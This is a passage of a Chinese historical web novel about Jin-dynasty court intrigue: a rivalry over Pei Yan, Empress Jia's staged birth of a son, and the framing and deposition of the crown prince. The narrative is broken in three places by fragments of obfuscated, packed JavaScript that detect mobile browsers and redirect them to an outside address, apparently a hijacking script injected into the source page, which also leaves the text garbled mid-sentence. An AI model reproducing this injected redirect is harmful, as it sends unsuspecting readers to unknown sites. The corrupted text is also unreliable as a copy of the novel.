张茂似笑非笑,手指沿着酒盏边沿打转:“某近日确得一宝,同世子一样,珍之爱之,恨不能藏于匣中,不让他人窥伺。只是,宝贝都有灵识,非强迫可得。世子言此宝为王府所有,这点某不敢苟同。宝之所以称为宝,便在于它有敏性,某也好,世子也罢,当尊其愿顺其行,方得善果。” 混账东西! 司马毗只觉怒发冲冠,火气蹭蹭蹭地往上涌。裴妍早已由钜鹿郡公做主,与他订亲,张茂竟敢公然勾引自己的未婚妻,还大言不惭地劝自己放手,简直无耻至极!还是当他东海王府好欺负,是那等上不得台面的阿猫阿狗,可以任他鱼肉! “咣当”,司马毗重重地将酒盏掷于案上,引得帐外双方的守卫皆手握刀柄,大战一触即发。 好在他还算理智,未喊人进来。 张茂却暗暗摇头,优柔寡断!若是他,营帐后必设一队刀斧手,摔杯为号,刀斧加身,生死关头,威逼利诱,或有可为! 司马毗冷声道:“将军当真要与东海王府为敌?” 张茂不慌不忙,举杯对上首的司马毗道:“这话当是某问世子,东海国当真要与凉州为敌?” 东海王虽是诸侯,但作为帝室疏族,在朝中影响有限,且东海国小,论实控的区域,还没有青州刺史来的大。 而张轨被封为凉州刺史的圣旨已经颁下。安定张氏是凉州土著,张轨在封为刺史前,本就是护羌校尉。 这几年,张轨父子借着剿灭齐万年反叛之机南征北战,收拢征西军旧部,独揽凉州军务。如今张轨又上任刺史,名正言顺的接管凉州的军政大权,说他是一方诸侯也不为过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001242|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如今的张家羽翼已丰,大势聚成,即便张茂当真抢了东海王家内定的世子妇,朝廷也不敢多计较,他东海王亦无可奈何! 司马毗握拳捶案:“你不过想攀附河东裴氏,何必非阿妍不可!裴家那么多女郎,你要谁不好!阿妍良善若璞玉,之前就曾饱受流言困扰,这才避居乡间多年,你怎么忍心让她旧事重演?” “既然世子不愿阿妍背负骂名,何如解约在前?” “竖子!”司马毗须发偾张,拍案而起。 张茂却气定神闲地呷了一口酒水:“世子何必故作痴情,阿妍还没进门,高密王妃便已为世子定下侧妃,此事钜鹿郡公怕还不知晓吧?” 高密王妃乃司马毗的祖母,出身河内杨氏,她欲聘自家侄孙女为司马毗的世子妇。但裴妃不同意,抢先与裴家下了定。 东海王夹在母亲和妻子之间很是头痛,河东裴氏乃百年望族,河内杨氏也是一方豪强,双方都不好得罪。既然妻子已经与裴家交换了信物,他只好安抚母亲,允诺杨氏女为世子侧妃。 “你!”司马毗被说中了隐秘,一时间目眦欲裂,却拿堂下的张茂无可奈何。 张茂点到为止,话不投机半句多,他饮尽盏中残酒,向上首的司马毗道:“茂与阿妍早已海誓山盟,论定情先后,当在阿妍与世子下定之前。若茂轻言放弃,是对阿妍毁诺。此间种种,确是茂无礼在先,日后东海国若有差遣,茂定义不容辞!” 言罢,他朝上首的司马毗一抱拳,不顾对方阴鸷的眼神,兀自掀帘出帐。 外间骄阳正烈。张茂面上不显,内里却觉得自己当真无耻到了极点。漫说金尊玉贵的东海王世子,世间任何一个男子见未婚妻被他人觊觎,都无法承受这番奇耻大辱!自己先是枉顾世情,公然挑衅,而今,又拿家族势力威逼世子就范,如此行径,与小人何异? 张茂自认不是那等强取豪夺的蛮横之人,然而在裴妍的事上,他确实办得很不磊落。 他回头看了眼司马毗所在的营帐,天人交战了片刻,到底还是对裴妍的私情占了上风——无耻便无耻罢,与阿妍相比,些许骂名算得了什么! 张茂策马扬鞭回了城里,二十余骑立即跟上,淹没在早春的滚滚风尘中。 张茂回城的时候,裴妍正心神不宁地绣着花样。旁边帮忙挑线分丝的裴妡同样坐立不安。 只是二人所愁的事不同。 裴妍觉得司马毗也许猜到了什么,若是司马毗当着她的面质问她,她还能把责任都揽到自己身上,可偏偏那位什么也没说,只留了个意味深长的眼神让她自行体会。这摸不到底的感觉实在愁人。 也不知司马毗会不会查到张茂?东海王会不会因此嫉恨张家和裴家?家里的长辈若是知道这事,她该怎么解释?阿母、叔父会不会不同意?王妃姑姑若是来哭诉质问,自己该怎么劝她?唉,真是越想越乱! 裴妡愁的却是宫里。 据二嫂始平公主传来的消息,娘娘午时突然发动,如今一个下午过去,不知有没有顺利生产?是儿是女?宫里情形如何? 不得不说,裴妡所关注的才是目下全京城人共同关心的。 钜鹿郡公府里,裴頠端坐书房上首,其下裴憬、裴崇还有裴该大气不敢出地等着宫里送消息。 张茂策马回了张府,还未进门,就被早早候在门口的张寔拽去了书房。 东海王妃久等世子不归,只好派长史一路疾驰,终于赶到西郊,直入司马毗所在大营,给借酒消愁的世子送来消息。 司马毗瞬间酒醒了大半,顾不上伤情,匆匆跨马,率属下一同回了王府。 东宫里,太子与一众僚属正焦虑不安地坐于席上,自皇后爆出生产的消息后,东宫便被一队禁军重重围了起来,东宫属官、黄门宫娥皆不得出入。 舍人杜锡坐不住,跑到宫门口质问守将:“太子乃国之储副,而今娘娘生产,太子岂有不去尽孝、反而若刑囚一般坐困宫中之理?” 那守将显然早得了令,瞥了杜舍人一眼,冷脸怼道:“娘娘有言,东宫静安天命,才是最大的尽孝!” “你!”杜锡无奈,只得折返回来。 49. 椒房殿内麟儿泣,赵王府里毒计成 殿门是敞着的,外面的动静多少传到了殿里。 洗马江统看了一眼上首的太子,只见太子脸色黑沉,额角青筋毕见,显然气得不轻。 他担忧地拈着长须,皇后竟这般直接与太子撕破脸面,她就这般笃定自己能生出儿子?她这样防着太子,难道真如此前谣传的那般有猫腻? 可是,就算皇后生子有鬼又如何?如今宫城的锁钥均掌握在赵王手里,而赵王这个老匹夫,却做了皇后的走狗! 椒房殿里,随着一声嘹亮的啼哭,挣扎呻吟许久的贾午终于舒了口气。 皇后的心腹宫女陈舞,看了眼手里的婴儿,脸上顿时露出欣喜的神情,忙不迭的向隔壁同样产妇打扮的皇后报喜。 韩芷伺候在母亲身侧,正为母亲和从母得偿所愿而高兴,就见一个小黄门匆匆抱着一个食盒进了殿里,当着她的面打开,里面是个沉睡的男婴…… 不久,皇后与其妹同日产子的消息便由宫城迅速传遍了京畿,京城顿时沸腾起来——这可是圣上嫡子! 太子听到这消息,身子被抽了精气神般,委顿在地。 一旁的太子詹事裴权赶紧扶住他,低声提醒道:“此为殿下亲弟,殿下当高兴才是!” 杜锡亦低声劝道:“太子与太子妃当具仪前往恭贺!” 太子脸色铁青,他最不愿看到的事还是发生了! 皇后产子的消息传出后,围在太子宫外的禁军也撤了。 太子尽管内心百般不愿,亦只能召来太子妃,匆匆往椒房殿去。 东宫夫妇赶到时,天子正坐在殿中,小心翼翼地欣赏着手里的麟儿。见到太子来了,兴高采烈的喊他来看“弟弟”。 太子心里更堵了。因当年贾后善妒,不容许宫妃有孕。他自小就被身为宫女的母亲藏在先皇殿内,养到五岁上才由先皇引荐给他的生身父亲,也就是现在的这位傻皇帝。 而他那时已经记事了,很抗拒这个说话慢人一拍的所谓的父亲。傻皇帝与这个突然冒出的儿子也不算亲近,故而他长这么大,还没被皇帝抱过呢! 然而这个小子,刚出生就能被父亲报在怀里,恩宠不言自明。 于是太子看这个婴儿的眼神更复杂了。 太子妃见状,赶紧上前探视,笑道:“小皇子长得真像父皇!” 一句话把傻皇帝哄得眉开眼笑。 她还想接过孩子来抱抱,一旁的乳母却先一步把孩子抱走,告罪说是要给皇子喂奶,便退下了。 太子妃尴尬地收回手。一旁的太子冷眼旁观,鼻孔里不自觉地哼了一声。 他一向看不惯太子妃在皇后面前唯唯诺诺拍马屁的样子。现在好了,人家连孩子都不让你碰,马屁拍马腿上了吧? 这时在内侍奉的韩芷撩帘而出,她今日忙里忙外,不免鬓发微散,宽大的宫装亦有几分松动,露出胸前白嫩的肌肤。 看到太子夫妇,她有些微愣,而后径直走向天子,道是皇后有话想与圣上说。 天子应声入了内室。外面就交给韩芷来应对。 按理说,与太子夫妇相比,太子夫妇才是主,韩芷这个皇后姨侄女只能算个客,可奈何皇后与太子的关系势成水火。于是在这椒房殿里,可以说主客倒转,反而是韩芷在招待太子夫妇。 当初贾老夫人还在世时,曾有意撮合太子与韩芷,只是彼时二人年少气盛,互相看不中,加上贾后和贾午反对,这才没成。 如今,太子已娶妇,韩芷也已嫁人,两家的矛盾更是由暗转明,剑拔弩张。 韩芷虽常住宫里,但她只出入后宫的椒房殿,而太子常在东宫和前朝,因此这些年来二人并没有多少交集。如今再见面,却是此番皇后产子,太子岌岌可危之时。 韩芷掩下眉目,同太子夫妇见礼,柔声引二人上座。 太子朝她点了点头,目光自她妩媚的俏脸上划过,有些尴尬地咳了一声。 他与韩芷也算少年相识,当年在皇后生母郭槐的撮合下,还曾一起在宫学里念过书。然而如今物是人非,二人已是陌路,连寒暄都嫌多余。 太子妃与韩芷却要更熟些,二人不管是按照婆家这头算,还是娘家这头算,都是拐着弯的亲戚。 太子妃亲热的上前拉过韩芷的手,温声道:“妹妹辛苦了。母后那里幸得有妹妹照料,吾等才能安心。” 她一口一个妹妹,太子眉头又皱了起来,心道,她明明比你还年长一岁,这声妹妹好意思叫得出口。 韩芷亦亲热地与太子妃寒暄,还叫婢女给二人奉茶上点心。 太子妃问起娘娘产子的细节,韩芷面不改色地道自己未曾生育,也只能在帘外看着。具体内情亦不甚清楚,只知娘娘费了好大劲,光含在口里的参片就换了五六茬——这确是根据贾午的实情来诌的,毕竟她中年产子,费了老大劲。 太子见听不出端倪,天子一时又出不来,自己已经请过安,礼物也已送到,多坐无益,便朝太子妃使了眼色。 太子妃会意,和韩芷略聊几句,就与太子回去了。 不一会,天子从皇后那里红光满面的出来,见太子夫妇已经回去了,很不高兴:“沙门(太子小名)才见了弟弟一面就走,太也无情!” 韩芷和稀泥道:“娘娘方产子,殿里正乱着,太子也是怕给娘娘添麻烦。” 皇帝一向好哄,尤其在这个美貌的侄女面前,三两句话就被劝得没了脾气。 正巧小皇子喝完奶,被奶娘抱了出来,皇帝兴致高昂地继续他的逗子大业,旁的也就不计较了。 内室里,皇后悄声来到贾午的隔间探望妹妹,见贾午脸上一点血色都没有,不免忧心。 贾午摇头,虚弱地道:“只要阿姊心愿得偿,妹妹就是立刻死了又何妨!” 贾后赶紧打断她:“别胡诌,我的至亲就剩你一人。你不仅死不了,往后还有一辈子的荣华要享哩!” 贾午点头,看了眼外面,迟疑着对贾后道:“方才,听闻东宫来过?” 贾后理了理鬓间的抹额,漫不经心地道:“来了,喝了一盏茶,又走了。” “真是无情啊,一点也不友爱幼弟。”贾午感慨。 “呵呵,一个即将被废的太子,我还怕他折了我们慰祖的寿呢!”慰祖是小皇子的名字。 原来方才天子进来,是给小皇子选名字来着。 鲁国公贾谧从神算挚虞那里求来几个符合皇子生辰八字的名字。天子选了半天,说:“皇后诞下嫡子,足令祖宗慰藉。”于是选了慰祖这个名字,宠爱不言自明。 贾午内心激荡,想到自己儿子即将要登上帝国储君的宝座,生育的疼痛顿时烟消云散。 只是,她的脸突然沉下来,太子已成年,无故被废,那帮腐儒岂会答应? 贾后却智珠在握,笑道:“他不孝不悌,以为瞒着就没人知道,本宫岂会让他如愿!” 看着贾后成竹在胸的样子,想来已有全盘谋划,贾午便不再操心了。她四十产子,气血两亏,很快就昏睡了过去。 至于贾后,则把侄女韩芷叫了进来,与她嘀嘀咕咕耳语了几句。 韩芷浑身一个激灵,立时跪地推拒道:“娘娘,您要使美人计,宫里多少美人没有,为何偏派我去?太子当年就看不上我,如今我臭名在外,他厌恶我还来不及,哪能上我的钩呢?娘娘还是换个人去吧,千万别因阿芷坏了娘娘的大计!” 贾后却恨铁不成钢地一拍她的额头:“你当太子是色欲熏心的蠢货?这么些年本宫派去了多少美人,可有一个成事的?无非是今日看太子待你尚有三分旧情罢了。二来,你明晃晃的是我的人,常理说,我会蠢到派你去勾引他?相反,他也许还想用你来探探我。我要你做的,也就是到这一步罢了。余者,皆不用你操心!” 韩芷心里一千个不愿意。她与太子虽是两个阵营,但从没有直接对上过。 儿时二人也算一起长大,多少有点旧谊。 她知道她家做的事,会让太子坠入无间之地,可是只要这些事不是她做的,她便能少些愧疚。 然而如今,贾后却要直接把她祭出去,成为引燃太子的那根线,这让她如何能不抗拒! 然而,她抬头看了眼满面红光的皇后,知道她主意已定,自己答应也得去,不答应也得去。且自己阿母、阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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唯独裴頠,既喜且忧。喜的是,在外人看来,他与贾后是一党,可谓一荣俱荣一损俱损,如今皇后有嫡子,便是他也有了倚仗;忧的是,皇后与太子的矛盾势必进一步恶化,不是东风压倒西风,就是西风压倒东风,表面平静的朝堂很快就要波浪滔天。 裴府一门,裴崇、裴该夫妇已然脱孝,然而裴頠却命兄弟俩以哀悔过度、身体不适为由,暂缓起复。如今这个局面,他们钜鹿郡公府还是韬光养晦为好。 就连裴妡,虽然也已脱孝,但裴頠依然拘着她,尽量少往宫里跑。 这晚,原本和裴妍一起做绣活的裴妡突然被王夫人叫了去,说是有话交待。 裴妍这里小郭氏也撑着病体来看了看,叮嘱她最近外面乱得很,无事不要出府。 裴妍再混不吝,也知道皇后产子无论对国还是对她家都是顶顶重要的大事。 只是她多少有些失落,张茂只在京城待一个月,下月就要回凉州了,她却在这个时候被要求禁足,唉,怎么这么不赶巧呢? 还有张茂,说好晚上来看她的,如今天都黑了,却半个人影不见,真是气人。 裴妍心里烦躁,干脆束了襻膊,让容秋提了灯笼,陪她去后院看她的花花草草。 地里长得最好的要数春韭。裴妍小心地撩起裙尾,蹲下身来,拿手摸了摸韭菜的嫩叶——大春后这小家伙长得飞快,才割过一茬,新的很快又长出来,应该过两天就能拿来做菜饼了。 “新年已过,阿妍还要献羔祭韭么?” 清润而熟悉的声音传入裴妍的耳朵,她喜出望外地回头,果然见张茂正长身玉立在田垄边上。 张茂晚间着的是名士常穿的素衣博带。 裴妍怕他把衣服弄脏了,让他站着别动,自己一手提着裙摆,一手举着镰刀,三步跨作两步地蹦到了他的面前。 张茂怀抱着手,饶有趣味地欣赏着月下蹦蹦跳跳的美人,觉得今日的她颇似一只顽皮的小兔。 裴妍到他身前时,脚底一滑,差点跌倒,张茂适时出手,伸出一臂半抱住她,帮她稳住了身形,而后便没有松开。 裴妍红着脸,半靠在他的怀里,闻到一阵清新的松木香,以及自己身上可疑的土腥味。 裴妍赶紧挣了挣,想离他远一点,张茂却不肯,反而把她搂得更紧了! 50. 美人计里藏阴谋,太子中招冷宫囚…… 裴妍右手镰刀上的泥土蹭到了张茂雪白的细麻衣上,留下点点黑斑。 “啊,脏了!”裴妍叫道。 张茂却不在意的道:“一件袍子罢了,还想哄我放手?” 裴妍害臊地跺脚:“好歹容我进屋换身干净的衣裳吧!” 张茂于是揽着她进了里屋。 容秋翻了个白眼,远远地跟在二人后面。她上次被张茂罚过后,长了记性,在没有裴妍命令的情况下,坚决不会留裴妍一个人独处。 然而裴妍和张茂两个人卿卿我我,她又不好离得太近,只能这么若有若无地跟在后面,尴尬得要死! 进屋后,容秋侍候裴妍去隔壁更衣。 裴妍回来的时候,张茂正背着手,兀自欣赏墙上的一幅挂画。看到她出来后,意味深长地笑道:“倒是不知,阿妍对名家字画也有研究。” 裴妍瞟了眼墙上,一阵心虚,那画——是司马毗送的。 听裴妡说,此画名为《北风图》,乃前朝蜀郡太守刘褒的佳作,说是画成之日,满室宾客皆为之凉。看裴妡捡到宝的夸张样子,也知道这画价值不菲。 裴妍原想将它收进库房,可她娘却硬要她挂出来:“听你王妃姑姑讲,你送世子的宝物,世子都摆在明晃处。可世子送你这许多宝物,你却尽往库房里落灰,让你姑姑看了,得多心寒。” 无法,她只得照办。好在这是内室,外人等闲进不来。以往就算张茂来寻她,二人也多在他原先的住处相会,像今日这般在她闺房内室独处的,还是头一回。 唉?闺房?裴妍后知后觉地看了眼他的身后,紧张道:“你是怎么进来的?竟没人拦你?” 张茂的目光从名画上收回,轻笑摇头,还知道问,可见没蠢到家。 他也不瞒她:“这几年,我在府上也不是白住的。论人手,我能指派的可比你多!” 若是裴妡,此刻定恼得跳起来:“你一介清客,居然敢往主家插人,简直大逆不道!” 裴妍却只是眉头微微皱起。张茂这样做委实不妥,可他这样大大方方地说出来,又显得并未藏私。她想,阿茂这么做必有缘由——他没道理坑害裴家。 她不多问,张茂却不能不解释:“钜鹿郡公府文官起家,王夫人管理庶务看似滴水不漏,实则守卫多有疏忽。” 这倒是实事求是,钜鹿郡公府里的防务比起军功起家的张家来,确实差了不少,否则也不会有当年的东郊惨案。 张茂不想疏不间亲,但长房是长房,二房是二房。这些年,裴妍母女兄妹在府里素来依赖二房过活。平日也就罢了,可如今正值多事之秋,长房也当留点私兵手上,以应对不时之需。至少,能图个自保吧! 这年头部曲往往是家生子,只有人手不够时才会从下面田庄或是外头招人。几年前的东郊祸事,钜鹿郡公府的部曲折进去不少,这才给了张茂往里面插人的机会。 提到当年的惨事,虽隔多年,裴妍仍旧心有余悸。 张茂安抚地拍了拍她的手,从袖囊里摸出一份卷帛,递给裴妍,低声道:“这是我在府上的人手名录。以后,他们都归你指派。” 这话是对着裴妍说的,目光却瞄向一旁的容秋。容秋容色一肃,郑重地点点头。 张茂自认了解裴妍的能耐,指望她还不如指望身边的婢子。 然而出人意料的,裴妍一改往日三不管的脾性,沉默地把卷帛拿来。笼共三十名部曲,她一个名字一个名字地对过去,有几个她看着眼熟的还单独拿出来向张茂求证。 看着她认真点兵的样子,张茂既诧异又新奇。 一旁的容秋解释道:“近来二娘给元娘讲了许多外面的事。” 未雨绸缪,原来是裴妡的功劳。张茂了然一笑,虽然这个小姨子不大喜欢自己,但她确实是阿妍的良师益友,如此,甚好。 裴妍桌上有未完成的花样,张茂随手翻了翻,见都是给小孩子的,笑道:“这是给大兄家的小郎君做的?” “不止,还有二哥和三哥家的孩子们。我和阿妡闲来无事,便想着给他们做些小玩意儿。” 裴家的三兄弟都已成家立业,儿女成群,张茂有一瞬的羡慕。 他拿起做了一半的虎头帽,沉声道:“阿妍,明年无论如何我也要娶你过门,谁也阻不了我!” 裴妍脸上火辣辣的,啐他:“先想想怎么过我阿母这关吧!” “只要郡公同意,郭夫人会想明利害的。” 裴妍大惊:“你怎么晓得我阿叔会同意?你告知他了?” 张茂摇头,坐下来,饮了口茶:“治世需能臣,乱世靠武将。阿耶当年弃文从武,就是押着今日。” 裴妍听得一头雾水,张茂却没有与她多解释,放下茶杯就要回去了。临走前刮了刮她的鼻子,笑道:“阿妍不妨多做两个,我大哥这几年亦添了一儿一女。” …… 东宫,太子握着韩芷送来的请帖不语。 太子妃蹙眉:“皇后新得贵子,椒房殿正是乱的时候,阿芷不忙着照料皇后,却要约太子一叙,不合常理。” 蒋良娣与太子妃素来不睦,然而在这件事上,二人态度却出奇的一致。 蒋良娣撇嘴:“韩夫人在宫里素来与殿下无甚牵扯,今日怎会突然邀太子前去?她若有要事,能让我们知晓?只怕有诈。” 太子亦不信韩芷,于是对身边的小黄门道:“就说孤身体不适,改日再应夫人邀约。” 韩芷收到信后,大大地舒了口气。不是她不约,是人家太子不来,这可怪不得她! 然而第二日,韩芷就见贾后命手下人给东宫透信,说皇帝已不省人事,皇后却秘而不宣。 韩芷大惊,皇帝明明活蹦乱跳的,只是被拘在内殿与宫娥嬉戏罢了,哪里就病危了? 韩芷结结巴巴地劝道:“万一太子真以为天子病危,逼宫怎么办?” 贾后皮笑肉不笑:“他敢来,我不是更有理由治他?” 是了,皇后手上有数千宿卫兵和从赵王处借来的亲兵,而太子能支使得动的,只有心腹中护军赵俊手下的那几百人马而已。 “何况,以那竖子疑神疑鬼的性子,必要先来宣明殿探视一番。我自有法子,让他上钩。” 韩芷不解:“既如此,娘娘昨日为何不说,非要我先去请太子一番?” “傻孩子”,皇后笑着点点她的额头,“太子多疑,若昨日有人突然跟他说,皇帝病重,他未必会信。然而你昨日先急哄哄地去请他,他虽不肯来,但内里必疑心内宫有变。今日,再听未央宫的线人说皇帝病危,是你,会不会动摇?” 这时,皇后的心腹宫女陈舞端着一盘醉枣前来。 贾后随手拈起一颗,举在光下转了转,鲜红的蔻丹印在发黑的醉枣上,好似一道道血痕。 陈舞道:“医正说,只需一口,上面的药粉便能让人晕头转向。” 贾后满意地点头,转身将醉枣放在韩芷的手心里,莞尔道:“后面,就有劳阿芷了!” 韩芷脸色大变,握着枣儿一声不敢吭…… 太子听到皇帝病危的消息,果然急召臣僚议事。 中护军赵俊请太子一不做二不休,清君侧,废贾后! 然而在场的诸人却皆犹豫不决。 尤其太子,他虽恨透了贾后,但自幼受大儒教导的他,不到万不得已,实不想落个弑母逼宫的恶名。 太子思索片刻,沉声道:“若父皇果真病重,于孤反倒有利。孤乃先帝亲封的太子,只要孤无大错,皇后也动不得孤。” “当务之急乃确认圣上龙体是否康健,若真如线人所报,圣上病危,臣这便回去拟招,奏请太子监国。”右卫督司马雅附和道。 太子沉吟片刻,起身道:“孤这便去宣明殿一探究竟。尔等守在这里,若孤夤夜未归,则翌日朝会,诸位可直接发难贾后,告她私囚东宫!” 杜锡原本不放心,提议让赵俊带兵护送太子前去,却被太子一口拒绝了——他自信皇后没有那个胆子,敢当众对自己不利。 然而东宫的僚属们等了一宿,太子竟真的彻夜未归。 正当他们预备第二日责难贾后时,却听闻皇帝取消了朝会,且连夜请来了赵王司马伦、尚书令王衍,中书令陈准,司空张华,甚至还有在孝中的侍中裴頠,入宫议事。 东宫臣僚心头一震,第一反应皆是,皇帝取消朝会,还连夜召见这么多重臣,难道身体真不行了?太子这会肯定是被皇后囚禁了!他们这些东宫僚属要不要去宫道上堵一堵这些老大人?请他们为太子正名?太子是储君,只要朝中重臣皆支持太子,皇后一介妇人又能奈何? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001244|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在东宫僚属犹豫着要不要去官道堵人的时候,东海王府内,司马毗急急将一封密信封好,交给属下送了出去。 烛火昏黄,外面天光微亮,母子俩等了一宿,才等来宫人送消息。 一旁的裴妃担心道:“来人可信吗?太子,就这么被废了?” 自皇后产子后,京中各方势力异动,司马毗已经累得几天没合眼了。 他疲倦地捏捏眉心:“那位是父王早年安插在未央宫里的老人,断不会出错。” 裴妃叹道:“太子无端造反,说来谁信呢?” 司马毗抚着眉心,摇头苦笑:“前有公子扶苏,后有卫太子据。自古父君要杀儿子,需要理由吗?” 裴妃皱眉:“天子虽不敏,对太子却素来爱重。如何今日竟这般决绝?这当中必有隐情,可惜纸短意赅,外人无法勘得。” 她展开那张由未央宫线人传出的密信,只见上面短短一行小字:“太子反,帝欲废杀之。” “无非是些阴私手段,”司马毗冷笑:“当年楚王不就是这么没的?” “楚王糊涂,赵王却精明得很。皇后与他联手,不怕与虎谋皮?” 太子被废,贾后嫡子幼小,皇帝又痴傻,朝廷必得有权势的宗室坐镇,赵王打的怕是辅臣的主意。 “那就看谁技高一筹了。”司马毗道。 裴妃陪着司马毗一宿,人也累了。看到儿子桌案上垒得老高的信笺,不免来气:“要不是你大母胡搅蛮缠,我们何至于躲来京城趟这浑水!” 高密王妃与裴妃一直婆媳不和。此次为了世子妇的事更是闹得不可开交。 司马毗与东海王一样,夹在祖母与母亲之间,左右说什么都是错的,只好避重就轻地劝道:“阿母快去休息吧,儿子大了,不用您陪的。” 裴妃见儿子也是一脸疲态,不免心疼道:“这几日累着了吧?等这事了了,你便和阿妍一块出去散散心。” 提起裴妍,司马毗只觉心口堵得更厉害,闷声道:“也许人家压根不稀罕我呢!” “这是什么话?我正要问你呢,自打来京城,你就忙得昏天黑地。前两日好不容易得闲,不去陪人家阿妍,反倒约了外人去郊外行猎。裴家姊妹如珠似玉的美名京城谁人不知?若不是我抢先下定,如阿妍这样一等一的高门美人,还轮不着你这个帝室疏族呢!” 司马毗脸色沉了沉。抢先下定又怎样?还不是让张家那竖子钻了空子? 这等绿云罩顶的事他自是没脸与母亲提。何况,他自认自己文才武德不比张茂差,论家世更是比家臣出身的张茂清贵了不知多少。 他只好归咎于自己从前忙于政务,忽略了裴妍。阿妍单纯,这才被张茂这等厚颜之徒暂时迷惑住而已。待此间事了,他定多抽出时间来陪陪她,他就不信自己还比不过区区一个清客! 皇帝连夜召重臣入宫,这等阵仗势必瞒不了耳聪目明的世家权贵。不管是被点了将的人家,还是观望的皇亲国戚,无不燃了亭燎眼巴巴地等着宫里传出最新消息。 钜鹿郡公府里更是无人敢眠。裴頠连夜被召进宫,裴家诸人皆惶惶不安。 裴妍更是第一时间把消息传给了张茂。 张家得信后,张寔竟有种如释重负之感。他长长地舒了口气,对二弟道:“皇后果然动手了。也罢,早了结,早完事。总是悬着,我等下臣都不知该何去何从。” 张茂却摇头,皱眉道:“风起于青萍之末,贾后废太子,怕不是结束,而是大乱的开始。” “如此,你更该早些回凉州去!”张寔劝道,“阿耶上旬就来信催你了。” “既然京城不太平,也当是阿兄回去才是。我孑然一身,留京最合适不过。” “孑然一身?”张寔挑眉,早看透了他:“我看你是放心不下裴家元娘吧?” 张茂没有理会他,只道:“贾后信重赵王,然,你我皆清楚赵王为人,他所图绝不止一个辅臣之位。太子被废只是幌子,他之后必有后手。” 张寔不答,两手背后,来回踱了几步,转头对弟弟道:“非我不想走。只如今阿耶新官上任,我身为长子,贸然离去,必会引上位者猜忌。说不得,我这个质子,还得再留京一段时日。如今,我巴不得那些权贵都盯着洛阳,阿耶才好空出手来在凉州大干一场。” 51. 南风起兮吹白沙,千岁骷髅生齿牙…… 他顿了顿,又道:“如今凉州鲜卑叛乱未平,盗匪纵横州里,阿耶虽有氾将军、宋司马相助,但父子连心,终归不及你回去助阵来得便利。” 张茂不语,他知道,大哥说的也是父亲的意思。如今,贾后废太子、立嫡子已成板上钉钉的事,后面无非是诸侯之中谁为辅臣罢了。 下意识地,他摸了摸腰间的香囊。不知怎的,他总觉得后面还有大事发生。自己这个时候,不能走。 翌日一早,天子便颁下了废太子的诏令。从宫里透出的消息是,皇帝微感风寒,太子前去侍疾,却趁天子小憩时与宫人饮酒作乐,甚至写下“陛下宜自了,不自了,吾当入了之。中宫又宜速自了,不自了,吾当手了之……”等大逆不道的话来。 虽然也有人提出,这封手书字迹前后不一,且有涂改的痕迹,很是可疑。 可贾后言之凿凿,身边又有一干宫女黄门为证,韩芷更是衣衫不整地跪地饮泣,声声控诉太子在侍疾时竟拉着自己行非礼之事,自己不从,他就连皇后也编排起来,说什么等他为天子,必要如同屠三杨般屠尽贾氏。 更要命的是,众臣到时,太子居然还没醒酒,正抱着酒坛子呼呼大睡。 如此,虽明眼人都看得出里面疑点重重,又有谁敢站出来说太子无辜? 太子就这般被稀里糊涂地定了罪,待他醒来时,他和三个幼子已坐在迁往金墉城的囚车中。 废太子的圣旨已下,太子生母谢夫人、宠妾蒋良娣均被赐死。 太子妃王惠风则连夜递上和离书,被她父亲王衍接回了娘家。 太子清醒后,急欲上诉皇帝自证清白。然而不管他怎么拍打囚车,两边的兵士都如同没有听见似的,任他在车内如疯子般嘶吼咆哮。 太子无端被废的消息似油入沸水,迅速扩散开来,从京畿到地方皆暗潮涌动。民间更是谣言四起,有歌谣唱曰:南风起兮吹白沙,遥望鲁国郁嵯峨,千岁骷髅生齿牙。 贾后闺名贾南风,南风自是指皇后;司马遹小字沙门,沙暗则指太子;鲁国是指鲁国公贾谧。千岁骷髅暗指贾南风草菅人命,杀人无数,已成妖怪。 贾后听闻这首歌谣后,恨得咬牙切齿,下旨严查歌谣的来源,杀了好大一批传谣的乞丐混混,一时间京城道路以目,人人自危。 贾后却犹不放心,总害怕傻皇帝会心软放过太子。 这时,赵王向贾后进言:“太子若还在京城,难保圣上哪天心软,把太子召来听他自辩,赦免了他也未可知。不如将太子发往京外,让父子隔绝开来,娘娘再寻机惩戒不迟。” 贾后听罢认为大善,不顾张华等重臣反对,撺掇皇帝下旨,将太子及其三个儿子都迁往许昌旧宫。 …… “这个节骨眼上,你还要去送他?” “先皇在时,我到底做过他几日伴读。如今他无故被废,我帮不上忙,本就心中有愧。临行前我去送一送,也当全了君臣之义。” 裴妍刚跨境裴妡的小院,就听到里面起了争执,原来裴妡的未婚夫王承也在。 裴妡觉得王承话里有话,问他:“你是不是怨我阿耶,没替那位说话?” 王承不敢编排未来的丈人,摸了摸鼻子,转头不语。 裴妡冷笑:“你倒是大义凛然,有本事,今日便随我进宫,到娘娘面前为你的太子辩一辩!” 王承脸上浮上一抹惊恐,贾后是什么人,他岂敢在这个母大虫面前造次! “呵,没胆量了?”裴妡一拍桌子,嗤笑道:“实话告诉你,那晚若不是张司空和我阿耶,如今的太子已是死人了!” 